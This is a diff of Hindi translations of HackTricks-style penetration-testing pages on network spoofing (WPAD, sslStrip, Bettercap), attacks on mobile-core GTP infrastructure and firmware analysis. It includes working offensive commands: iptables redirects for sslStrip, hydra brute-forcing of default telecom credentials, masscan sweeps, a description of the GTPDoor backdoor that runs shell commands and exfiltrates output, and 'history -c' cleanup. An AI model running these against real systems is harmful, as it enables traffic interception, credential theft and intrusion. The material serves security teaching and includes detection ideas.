यहाँ पढ़ें [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) के बारे में अधिक जानकारी।
|
||||
[Responder के साथ सेवाओं की नकल कैसे करें](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) के बारे में अधिक जानकारी यहाँ पढ़ें।
|
||||
|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
ब्राउज़र आमतौर पर **Web Proxy Auto-Discovery (WPAD) प्रोटोकॉल का उपयोग करते हैं ताकि स्वचालित रूप से प्रॉक्सी सेटिंग्स प्राप्त की जा सकें**। इसमें एक सर्वर से कॉन्फ़िगरेशन विवरण प्राप्त करना शामिल है, विशेष रूप से एक URL के माध्यम से जैसे "http://wpad.example.org/wpad.dat"। क्लाइंट द्वारा इस सर्वर की खोज विभिन्न तंत्रों के माध्यम से हो सकती है:
|
||||
|
||||
- **DHCP** के माध्यम से, जहाँ खोज को विशेष कोड 252 प्रविष्टि का उपयोग करके सुगम बनाया जाता है।
|
||||
- **DNS** द्वारा, जिसमें स्थानीय डोमेन के भीतर _wpad_ नामक होस्टनाम की खोज करना शामिल है।
|
||||
- **DNS** द्वारा, जिसमें स्थानीय डोमेन के भीतर _wpad_ नामित होस्टनाम की खोज करना शामिल है।
|
||||
- **Microsoft LLMNR और NBT-NS** के माध्यम से, जो उन मामलों में बैकअप तंत्र के रूप में उपयोग किए जाते हैं जहाँ DNS लुकअप सफल नहीं होते हैं।
|
||||
|
||||
टूल Responder इस प्रोटोकॉल का लाभ उठाकर **दुर्भावनापूर्ण WPAD सर्वर** के रूप में कार्य करता है। यह DHCP, DNS, LLMNR, और NBT-NS का उपयोग करके क्लाइंट को अपने से जोड़ने के लिए भ्रामक बनाता है। Responder का उपयोग करके सेवाओं की नकल कैसे की जा सकती है, इसके बारे में अधिक जानने के लिए [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)।
|
||||
टूल Responder इस प्रोटोकॉल का लाभ उठाकर **दुर्भावनापूर्ण WPAD सर्वर** के रूप में कार्य करता है। यह DHCP, DNS, LLMNR, और NBT-NS का उपयोग करके क्लाइंट को अपने से जोड़ने के लिए भ्रामक बनाता है। Responder का उपयोग करके सेवाओं की नकल कैसे की जा सकती है, इसके बारे में अधिक जानने के लिए [यहाँ देखें](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
|
||||
|
||||
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
आप नेटवर्क में विभिन्न सेवाएँ प्रदान कर सकते हैं ताकि **एक उपयोगकर्ता को** कुछ **सादा-पाठ क्रेडेंशियल्स** दर्ज करने के लिए **धोखा दिया जा सके**। **इस हमले के बारे में अधिक जानकारी** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)** में है।**
|
||||
आप नेटवर्क में विभिन्न सेवाएँ प्रदान कर सकते हैं ताकि **एक उपयोगकर्ता को कुछ **plain-text credentials** दर्ज करने के लिए धोखा दिया जा सके। **इस हमले के बारे में अधिक जानकारी** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)** में है।**
|
||||
|
||||
### IPv6 Neighbor Spoofing
|
||||
|
||||
@ -684,7 +684,7 @@ mitm6
|
||||
|
||||
### sslStrip
|
||||
|
||||
बुनियादी रूप से, यह हमला तब होता है जब **उपयोगकर्ता** एक **HTTP** पृष्ठ तक **पहुँचने** की कोशिश करता है जो **HTTPS** संस्करण की ओर **रीडायरेक्ट** हो रहा है। **sslStrip** **क्लाइंट के साथ** एक **HTTP कनेक्शन** और **सर्वर के साथ** एक **HTTPS कनेक्शन** **बनाए रखेगा** ताकि यह **साधारण पाठ** में कनेक्शन को **स्निफ** कर सके।
|
||||
बुनियादी रूप से, इस हमले में, यदि **उपयोगकर्ता** एक **HTTP** पृष्ठ तक **पहुँचने** की कोशिश करता है जो **HTTPS** संस्करण की ओर **रीडायरेक्ट** हो रहा है। **sslStrip** **क्लाइंट के साथ** एक **HTTP कनेक्शन** और **सर्वर के साथ** एक **HTTPS कनेक्शन** **बनाए रखेगा** ताकि यह **स्निफ** कर सके कनेक्शन को **सादा पाठ** में।
|
||||
```bash
|
||||
apt-get install sslstrip
|
||||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
@ -693,22 +693,22 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
|
||||
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
|
||||
```
|
||||
More info [यहाँ](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)।
|
||||
More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
|
||||
|
||||
### sslStrip+ और dns2proxy HSTS को बायपास करने के लिए
|
||||
### sslStrip+ और dns2proxy का उपयोग HSTS को बायपास करने के लिए
|
||||
|
||||
**sslStrip+ और dns2proxy** और **sslStrip** के बीच का **अंतर** यह है कि वे **उदाहरण के लिए** _**www.facebook.com**_ को _**wwww.facebook.com**_ **पर** **रिडायरेक्ट** करेंगे (ध्यान दें कि **अतिरिक्त** "**w**" है) और **इस डोमेन का पता हमलावर IP के रूप में सेट करेंगे**। इस तरह, **क्लाइंट** _**wwww.facebook.com**_ **(हमलावर)** से **कनेक्ट** होगा लेकिन पर्दे के पीछे **sslstrip+** **वास्तविक कनेक्शन** को **www.facebook.com** के साथ **बनाए रखेगा**।
|
||||
**sslStrip+ और dns2proxy** और **sslStrip** के बीच का **अंतर** यह है कि वे **उदाहरण के लिए** _**www.facebook.com**_ को _**wwww.facebook.com**_ **पर** **रिडायरेक्ट** करेंगे (ध्यान दें कि **अतिरिक्त** "**w**" है) और **इस डोमेन का पता हमलावर के IP के रूप में सेट करेंगे**। इस तरह, **क्लाइंट** _**wwww.facebook.com**_ **(हमलावर)** से **कनेक्ट** होगा लेकिन पर्दे के पीछे **sslstrip+** **वास्तविक कनेक्शन** को **www.facebook.com** के साथ **बनाए रखेगा**।
|
||||
|
||||
इस तकनीक का **लक्ष्य** HSTS को **टालना** है क्योंकि _**wwww**.facebook.com_ **ब्राउज़र के कैश** में **सहेजा नहीं जाएगा**, इसलिए ब्राउज़र को **HTTP में फेसबुक प्रमाणीकरण करने के लिए धोखा दिया जाएगा**।\
|
||||
ध्यान दें कि इस हमले को करने के लिए पीड़ित को पहले [http://www.faceook.com](http://www.faceook.com) पर पहुंचने की कोशिश करनी होगी और न कि https पर। यह एक http पृष्ठ के अंदर लिंक को संशोधित करके किया जा सकता है।
|
||||
|
||||
More info [यहाँ](https://www.bettercap.org/legacy/#hsts-bypass), [यहाँ](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) और [यहाँ](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)।
|
||||
More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip या sslStrip+ अब काम नहीं करता। इसका कारण यह है कि ब्राउज़रों में HSTS नियम पहले से सहेजे गए हैं, इसलिए भले ही यह पहली बार हो जब कोई उपयोगकर्ता एक "महत्वपूर्ण" डोमेन पर पहुंचता है, वह इसे HTTPS के माध्यम से पहुंचता है। इसके अलावा, ध्यान दें कि पहले से सहेजे गए नियम और अन्य उत्पन्न नियम फ्लैग** [**`includeSubdomains`**](https://hstspreload.appspot.com) **का उपयोग कर सकते हैं, इसलिए पहले का** _**wwww.facebook.com**_ **उदाहरण अब काम नहीं करेगा क्योंकि** _**facebook.com**_ **HSTS का उपयोग करता है `includeSubdomains` के साथ।**
|
||||
**sslStrip या sslStrip+ अब काम नहीं करता। इसका कारण यह है कि ब्राउज़रों में HSTS नियम पहले से सहेजे गए हैं, इसलिए भले ही यह पहली बार हो जब कोई उपयोगकर्ता एक "महत्वपूर्ण" डोमेन पर पहुंचता है, वह इसे HTTPS के माध्यम से पहुंचता है। इसके अलावा, ध्यान दें कि पहले से सहेजे गए नियम और अन्य उत्पन्न नियम फ्लैग** [**`includeSubdomains`**](https://hstspreload.appspot.com) **का उपयोग कर सकते हैं, इसलिए पहले का** _**wwww.facebook.com**_ **उदाहरण अब काम नहीं करेगा क्योंकि** _**facebook.com**_ **HSTS के साथ `includeSubdomains` का उपयोग करता है।**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
## TCP पोर्ट पर सुनना
|
||||
## TCP पोर्ट पर सुनें
|
||||
```bash
|
||||
sudo nc -l -p 80
|
||||
socat TCP4-LISTEN:80,fork,reuseaddr -
|
||||
@ -736,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
कभी-कभी, यदि क्लाइंट यह जांचता है कि CA एक मान्य है, तो आप **एक अन्य होस्टनेम का प्रमाणपत्र जो CA द्वारा हस्ताक्षरित है** प्रदान कर सकते हैं।\
|
||||
एक और दिलचस्प परीक्षण है, **अनुरोधित होस्टनेम का प्रमाणपत्र लेकिन स्व-हस्ताक्षरित** प्रदान करना।
|
||||
|
||||
परीक्षण करने के लिए अन्य चीजें हैं, जैसे कि प्रमाणपत्र को एक मान्य प्रमाणपत्र के साथ हस्ताक्षरित करने की कोशिश करना जो एक मान्य CA नहीं है। या मान्य सार्वजनिक कुंजी का उपयोग करना, एक एल्गोरिदम जैसे डिफी हेलमैन का उपयोग करने के लिए मजबूर करना (एक ऐसा जो वास्तविक निजी कुंजी के साथ कुछ भी डिक्रिप्ट करने की आवश्यकता नहीं है) और जब क्लाइंट वास्तविक निजी कुंजी का एक परीक्षण (जैसे एक हैश) मांगता है, तो एक नकली परीक्षण भेजना और उम्मीद करना कि क्लाइंट इसे नहीं जांचेगा।
|
||||
परीक्षण करने के लिए अन्य चीजें हैं, जैसे कि प्रमाणपत्र को एक मान्य प्रमाणपत्र के साथ हस्ताक्षरित करने की कोशिश करना जो एक मान्य CA नहीं है। या मान्य सार्वजनिक कुंजी का उपयोग करना, एक एल्गोरिदम का उपयोग करने के लिए मजबूर करना जैसे कि डिफी हेलमैन (एक ऐसा जो वास्तविक निजी कुंजी के साथ कुछ भी डिक्रिप्ट करने की आवश्यकता नहीं है) और जब क्लाइंट वास्तविक निजी कुंजी का एक परीक्षण (जैसे एक हैश) मांगता है, तो एक नकली परीक्षण भेजें और उम्मीद करें कि क्लाइंट इसे जांचता नहीं है।
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
@ -766,7 +766,7 @@ wifi.recon on; wifi.ap
|
||||
```
|
||||
### Active Discovery Notes
|
||||
|
||||
यह ध्यान में रखें कि जब एक UDP पैकेट एक ऐसे डिवाइस को भेजा जाता है जिसमें अनुरोधित पोर्ट नहीं होता है, तो एक ICMP (Port Unreachable) भेजा जाता है।
|
||||
यह ध्यान में रखें कि जब एक UDP पैकेट एक डिवाइस को भेजा जाता है जिसमें अनुरोधित पोर्ट नहीं होता है, तो एक ICMP (Port Unreachable) भेजा जाता है।
|
||||
|
||||
### **ARP discover**
|
||||
|
||||
@ -774,7 +774,7 @@ ARP पैकेट का उपयोग यह पता लगाने क
|
||||
|
||||
### **mDNS (multicast DNS)**
|
||||
|
||||
Bettercap एक MDNS अनुरोध भेजता है (प्रत्येक X ms) **\_services\_.dns-sd.\_udp.local** के लिए, जो मशीन इस पैकेट को देखती है, आमतौर पर इस अनुरोध का उत्तर देती है। फिर, यह केवल "services" का उत्तर देने वाली मशीनों की खोज करती है।
|
||||
Bettercap एक MDNS अनुरोध भेजता है (प्रत्येक X ms) **\_services\_.dns-sd.\_udp.local** के लिए पूछते हुए, जो मशीन इस पैकेट को देखती है, आमतौर पर इस अनुरोध का उत्तर देती है। फिर, यह केवल "services" का उत्तर देने वाली मशीनों की खोज करती है।
|
||||
|
||||
**Tools**
|
||||
|
||||
|
@ -3,19 +3,19 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> मोबाइल-कोर प्रोटोकॉल (GPRS टनलिंग प्रोटोकॉल – GTP) अक्सर सेमी-ट्रस्टेड GRX/IPX रोमिंग बैकबोन से गुजरते हैं। क्योंकि ये बिना किसी प्रमाणीकरण के साधारण UDP पर चलते हैं, **किसी भी टेलीकॉम परिधि के अंदर एक पैर जमाने से आमतौर पर कोर सिग्नलिंग प्लेन तक सीधे पहुंचा जा सकता है**। निम्नलिखित नोट्स SGSN/GGSN, PGW/SGW और अन्य EPC नोड्स के खिलाफ देखे गए आक्रामक ट्रिक्स को इकट्ठा करते हैं।
|
||||
> मोबाइल-कोर प्रोटोकॉल (GPRS टनलिंग प्रोटोकॉल – GTP) अक्सर सेमी-ट्रस्टेड GRX/IPX रोमिंग बैकबोन पर चलते हैं। क्योंकि ये बिना किसी प्रमाणीकरण के साधारण UDP पर चलते हैं, **किसी भी टेलीकॉम परिधि के अंदर एक पैर जमाने से आमतौर पर कोर सिग्नलिंग प्लेन तक सीधे पहुंचा जा सकता है**। निम्नलिखित नोट्स SGSN/GGSN, PGW/SGW और अन्य EPC नोड्स के खिलाफ देखे गए आक्रामक ट्रिक्स को इकट्ठा करते हैं।
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
एक आश्चर्यजनक रूप से बड़ा सेट विक्रेता नेटवर्क तत्वों के साथ हार्ड-कोडेड SSH/Telnet उपयोगकर्ताओं के साथ आता है जैसे `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … एक समर्पित शब्द सूची ब्रूट-फोर्स सफलता को नाटकीय रूप से बढ़ा देती है:
|
||||
एक आश्चर्यजनक रूप से बड़ा सेट विक्रेता नेटवर्क तत्वों के साथ हार्ड-कोडेड SSH/Telnet उपयोगकर्ताओं के साथ आता है जैसे `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … एक समर्पित वर्डलिस्ट ब्रूट-फोर्स सफलता को नाटकीय रूप से बढ़ा देती है:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
यदि डिवाइस केवल एक प्रबंधन VRF को उजागर करता है, तो पहले एक जंप होस्ट के माध्यम से पिवट करें (नीचे «SGSN Emu Tunnel» अनुभाग देखें)।
|
||||
|
||||
### 1.2 GRX/IPX के अंदर होस्ट खोज
|
||||
अधिकांश GRX ऑपरेटर अभी भी बैकबोन के पार **ICMP echo** की अनुमति देते हैं। GTP-C श्रोता को जल्दी से मैप करने के लिए `masscan` को अंतर्निहित `gtpv1` UDP प्रॉब्स के साथ मिलाएं:
|
||||
अधिकांश GRX ऑपरेटर अभी भी बैकबोन के पार **ICMP इको** की अनुमति देते हैं। GTP-C श्रोता को जल्दी से मैप करने के लिए `masscan` को अंतर्निहित `gtpv1` UDP प्रॉब्स के साथ मिलाएं:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
@ -30,11 +30,11 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
मुख्य ध्वज:
|
||||
- `--imsi` लक्षित ग्राहक IMSI
|
||||
- `--imsi` लक्षित उपभोक्ता IMSI
|
||||
- `--oper` घरेलू / HNI (MCC+MNC)
|
||||
- `-w` कच्चे पैकेट pcap में लिखें
|
||||
|
||||
बाइनरी के अंदर महत्वपूर्ण स्थिरांक को पैच किया जा सकता है ताकि स्कैन को चौड़ा किया जा सके:
|
||||
बाइनरी के अंदर महत्वपूर्ण स्थिरांक को स्कैन को चौड़ा करने के लिए पैच किया जा सकता है:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
@ -42,7 +42,7 @@ common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. कोड निष्पादन GTP पर – `GTPDoor`
|
||||
|
||||
`GTPDoor` एक छोटा ELF सेवा है जो **UDP 2123 को बाइंड करता है और हर आने वाले GTP-C पैकेट को पार्स करता है**। जब पेलोड एक पूर्व-शेयर किए गए टैग से शुरू होता है, तो शेष को डिक्रिप्ट किया जाता है (AES-128-CBC) और `/bin/sh -c` के माध्यम से निष्पादित किया जाता है। stdout/stderr को **Echo Response** संदेशों के अंदर एक्सफिल्ट्रेट किया जाता है ताकि कोई बाहरी सत्र कभी न बनाया जाए।
|
||||
`GTPDoor` एक छोटा ELF सेवा है जो **UDP 2123 को बाइंड करता है और हर आने वाले GTP-C पैकेट को पार्स करता है**। जब पेलोड एक पूर्व-शेयर किए गए टैग से शुरू होता है, तो शेष को डिक्रिप्ट किया जाता है (AES-128-CBC) और `/bin/sh -c` के माध्यम से निष्पादित किया जाता है। stdout/stderr को **Echo Response** संदेशों के अंदर एक्सफिल्ट्रेट किया जाता है ताकि कोई बाहरी सत्र कभी नहीं बनाया जाए।
|
||||
|
||||
न्यूनतम PoC पैकेट (Python):
|
||||
```python
|
||||
@ -59,7 +59,7 @@ Detection:
|
||||
## 4. कोर के माध्यम से पिवटिंग
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` एक SGSN अनुकरणकर्ता प्रदान करता है जो **वास्तविक GGSN/PGW की ओर PDP संदर्भ स्थापित करने में सक्षम है**। एक बार बातचीत हो जाने के बाद, लिनक्स एक नया `tun0` इंटरफेस प्राप्त करता है जो रोमिंग साथी से पहुंच योग्य है।
|
||||
`OsmoGGSN` एक SGSN अनुकरणकर्ता प्रदान करता है जो **वास्तविक GGSN/PGW की ओर PDP संदर्भ स्थापित करने में सक्षम है**। एक बार बातचीत हो जाने के बाद, लिनक्स एक नया `tun0` इंटरफेस प्राप्त करता है जो रोमिंग पीयर से पहुंच योग्य है।
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
@ -127,8 +127,8 @@ rm -f /tmp/sh ; history -c
|
||||
---
|
||||
## Detection Ideas
|
||||
1. **कोई भी डिवाइस जो SGSN/GGSN के अलावा Create PDP Context Requests स्थापित कर रहा है**।
|
||||
2. **गैर-मानक पोर्ट (53, 80, 443) जो आंतरिक IPs से SSH हैंडशेक प्राप्त कर रहे हैं**।
|
||||
3. **संबंधित Echo Responses के बिना बार-बार Echo Requests** – GTPDoor बीकन का संकेत दे सकते हैं।
|
||||
2. **गैर-मानक पोर्ट (53, 80, 443) से आंतरिक IPs से SSH हैंडशेक प्राप्त करना**।
|
||||
3. **संबंधित Echo Responses के बिना बार-बार Echo Requests** – GTPDoor बीकन का संकेत दे सकता है।
|
||||
4. **बड़े, गैर-शून्य पहचानकर्ता/क्रमांक फ़ील्ड के साथ ICMP echo-reply ट्रैफ़िक की उच्च दर**।
|
||||
|
||||
## References
|
||||
|
@ -29,8 +29,8 @@ Firmware एक आवश्यक सॉफ़्टवेयर है जो
|
||||
- **Building** इसे प्रदान की गई निर्देशों से
|
||||
- **Downloading** आधिकारिक समर्थन साइटों से
|
||||
- होस्ट किए गए फर्मवेयर फ़ाइलों को खोजने के लिए **Google dork** क्वेरी का उपयोग करना
|
||||
- **cloud storage** तक सीधे पहुँच प्राप्त करना, जैसे कि [S3Scanner](https://github.com/sa7mon/S3Scanner) के साथ
|
||||
- मैन-इन-द-मिडिल तकनीकों के माध्यम से **updates** को इंटरसेप्ट करना
|
||||
- **cloud storage** तक सीधे पहुँच प्राप्त करना, जैसे कि [S3Scanner](https://github.com/sa7mon/S3Scanner) जैसे उपकरणों के साथ
|
||||
- मैन-इन-द-मिडल तकनीकों के माध्यम से **updates** को इंटरसेप्ट करना
|
||||
- **Extracting** उपकरण से कनेक्शनों के माध्यम से जैसे **UART**, **JTAG**, या **PICit**
|
||||
- उपकरण संचार के भीतर अपडेट अनुरोधों के लिए **Sniffing**
|
||||
- **hardcoded update endpoints** की पहचान और उपयोग करना
|
||||
@ -48,7 +48,7 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
यदि आप उन उपकरणों के साथ ज्यादा कुछ नहीं पाते हैं, तो `binwalk -E <bin>` के साथ छवि की **entropy** की जांच करें, यदि entropy कम है, तो यह संभवतः एन्क्रिप्टेड नहीं है। यदि entropy उच्च है, तो यह संभवतः एन्क्रिप्टेड (या किसी तरीके से संकुचित) है।
|
||||
यदि आप उन उपकरणों के साथ ज्यादा कुछ नहीं पाते हैं, तो `binwalk -E <bin>` के साथ छवि की **entropy** की जांच करें, यदि entropy कम है, तो यह संभावना नहीं है कि यह एन्क्रिप्टेड है। यदि entropy उच्च है, तो यह संभावना है कि यह एन्क्रिप्टेड है (या किसी तरह से संकुचित है)।
|
||||
|
||||
इसके अलावा, आप इन उपकरणों का उपयोग **फर्मवेयर के अंदर एम्बेडेड फ़ाइलों** को निकालने के लिए कर सकते हैं:
|
||||
|
||||
@ -65,7 +65,7 @@ Binwalk आमतौर पर इसे **फाइल सिस्टम प
|
||||
|
||||
#### मैनुअल फ़ाइल सिस्टम निष्कर्षण
|
||||
|
||||
कभी-कभी, binwalk के पास **फाइल सिस्टम के जादुई बाइट अपने हस्ताक्षरों में नहीं होते हैं**। इन मामलों में, binwalk का उपयोग करके **फाइल सिस्टम का ऑफसेट खोजें और बाइनरी से संकुचित फाइल सिस्टम को काटें** और नीचे दिए गए चरणों का उपयोग करके इसके प्रकार के अनुसार **मैन्युअल रूप से फाइल सिस्टम निकालें**।
|
||||
कभी-कभी, binwalk के पास **फाइल सिस्टम के जादुई बाइट्स अपने हस्ताक्षरों में नहीं होते हैं**। इन मामलों में, binwalk का उपयोग करके **फाइल सिस्टम का ऑफसेट खोजें और बाइनरी से संकुचित फाइल सिस्टम को काटें** और नीचे दिए गए चरणों का उपयोग करके इसके प्रकार के अनुसार **मैन्युअल रूप से फाइल सिस्टम निकालें**।
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -126,13 +126,13 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
इमेज के एन्क्रिप्शन स्थिति का आकलन करने के लिए, **entropy** को `binwalk -E <bin>` के साथ चेक किया जाता है। कम entropy एन्क्रिप्शन की कमी का सुझाव देती है, जबकि उच्च entropy संभावित एन्क्रिप्शन या संकुचन को इंगित करती है।
|
||||
इमेज के एन्क्रिप्शन स्थिति का आकलन करने के लिए, **entropy** को `binwalk -E <bin>` के साथ चेक किया जाता है। कम एंट्रॉपी एन्क्रिप्शन की कमी का सुझाव देती है, जबकि उच्च एंट्रॉपी संभावित एन्क्रिप्शन या संकुचन को इंगित करती है।
|
||||
|
||||
**Embedded files** को निकालने के लिए, **file-data-carving-recovery-tools** दस्तावेज़ और फ़ाइल निरीक्षण के लिए **binvis.io** जैसे उपकरणों और संसाधनों की सिफारिश की जाती है।
|
||||
**Embedded files** को निकालने के लिए, **file-data-carving-recovery-tools** दस्तावेज़ और फ़ाइल निरीक्षण के लिए **binvis.io** जैसे उपकरण और संसाधनों की सिफारिश की जाती है।
|
||||
|
||||
### फ़ाइल सिस्टम निकालना
|
||||
|
||||
`binwalk -ev <bin>` का उपयोग करके, आमतौर पर फ़ाइल सिस्टम को निकाला जा सकता है, अक्सर एक निर्देशिका में जिसका नाम फ़ाइल सिस्टम प्रकार (जैसे, squashfs, ubifs) के नाम पर होता है। हालाँकि, जब **binwalk** जादुई बाइट्स की कमी के कारण फ़ाइल सिस्टम प्रकार को पहचानने में विफल रहता है, तो मैनुअल निकासी आवश्यक होती है। इसमें फ़ाइल सिस्टम के ऑफसेट को खोजने के लिए `binwalk` का उपयोग करना शामिल है, इसके बाद फ़ाइल सिस्टम को निकालने के लिए `dd` कमांड का उपयोग किया जाता है:
|
||||
`binwalk -ev <bin>` का उपयोग करके, आमतौर पर फ़ाइल सिस्टम को निकाला जा सकता है, अक्सर एक निर्देशिका में जिसका नाम फ़ाइल सिस्टम प्रकार (जैसे, squashfs, ubifs) के नाम पर होता है। हालाँकि, जब **binwalk** जादुई बाइट्स की कमी के कारण फ़ाइल सिस्टम प्रकार को पहचानने में विफल रहता है, तो मैनुअल निकासी आवश्यक होती है। इसमें फ़ाइल सिस्टम के ऑफसेट को खोजने के लिए `binwalk` का उपयोग करना शामिल है, इसके बाद फ़ाइल सिस्टम को काटने के लिए `dd` कमांड का उपयोग किया जाता है:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -156,19 +156,19 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) और [**Firmwalker**](https://github.com/craigz28/firmwalker) संवेदनशील जानकारी खोजने के लिए
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) व्यापक फ़र्मवेयर विश्लेषण के लिए
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), और [**EMBA**](https://github.com/e-m-b-a/emba) स्थैतिक और गतिशील विश्लेषण के लिए
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), और [**EMBA**](https://github.com/e-m-b-a/emba) स्थिर और गतिशील विश्लेषण के लिए
|
||||
|
||||
### संकलित बाइनरीज़ पर सुरक्षा जांच
|
||||
|
||||
फ़ाइल सिस्टम में पाए गए स्रोत कोड और संकलित बाइनरीज़ की कमजोरियों के लिए जांच की जानी चाहिए। **checksec.sh** जैसे उपकरण यूनिक्स बाइनरीज़ के लिए और **PESecurity** विंडोज बाइनरीज़ के लिए असुरक्षित बाइनरीज़ की पहचान करने में मदद करते हैं।
|
||||
फ़ाइल सिस्टम में पाए गए स्रोत कोड और संकलित बाइनरीज़ की कमजोरियों के लिए जांच की जानी चाहिए। **checksec.sh** जैसे उपकरण यूनिक्स बाइनरीज़ के लिए और **PESecurity** विंडोज बाइनरीज़ के लिए उन असुरक्षित बाइनरीज़ की पहचान करने में मदद करते हैं जिन्हें शोषित किया जा सकता है।
|
||||
|
||||
## गतिशील विश्लेषण के लिए फ़र्मवेयर का अनुकरण
|
||||
|
||||
फ़र्मवेयर का अनुकरण करने की प्रक्रिया **गतिशील विश्लेषण** को एक डिवाइस के संचालन या एक व्यक्तिगत प्रोग्राम के लिए सक्षम बनाती है। यह दृष्टिकोण हार्डवेयर या आर्किटेक्चर निर्भरताओं के साथ चुनौतियों का सामना कर सकता है, लेकिन रूट फ़ाइल सिस्टम या विशिष्ट बाइनरीज़ को मिलती-जुलती आर्किटेक्चर और एंडियननेस वाले डिवाइस, जैसे कि एक Raspberry Pi, या एक पूर्व-निर्मित वर्चुअल मशीन में स्थानांतरित करना आगे के परीक्षण को सुविधाजनक बना सकता है।
|
||||
फ़र्मवेयर का अनुकरण करने की प्रक्रिया **गतिशील विश्लेषण** को सक्षम बनाती है, चाहे वह किसी डिवाइस का संचालन हो या एक व्यक्तिगत प्रोग्राम। इस दृष्टिकोण में हार्डवेयर या आर्किटेक्चर निर्भरताओं के साथ चुनौतियाँ आ सकती हैं, लेकिन रूट फ़ाइल सिस्टम या विशिष्ट बाइनरीज़ को मिलते-जुलते आर्किटेक्चर और एंडियननेस वाले डिवाइस, जैसे कि एक Raspberry Pi, या एक पूर्व-निर्मित वर्चुअल मशीन में स्थानांतरित करना आगे के परीक्षण को सुविधाजनक बना सकता है।
|
||||
|
||||
### व्यक्तिगत बाइनरीज़ का अनुकरण
|
||||
|
||||
एकल प्रोग्राम की जांच के लिए, प्रोग्राम की एंडियननेस और CPU आर्किटेक्चर की पहचान करना महत्वपूर्ण है।
|
||||
एकल प्रोग्राम की जांच के लिए, प्रोग्राम के एंडियननेस और CPU आर्किटेक्चर की पहचान करना महत्वपूर्ण है।
|
||||
|
||||
#### MIPS आर्किटेक्चर के साथ उदाहरण
|
||||
|
||||
@ -180,7 +180,7 @@ file ./squashfs-root/bin/busybox
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
MIPS (big-endian) के लिए, `qemu-mips` का उपयोग किया जाता है, और little-endian बाइनरी के लिए, `qemu-mipsel` विकल्प होगा।
|
||||
For MIPS (big-endian), `qemu-mips` का उपयोग किया जाता है, और little-endian बाइनरी के लिए, `qemu-mipsel` विकल्प होगा।
|
||||
|
||||
#### ARM आर्किटेक्चर अनुकरण
|
||||
|
||||
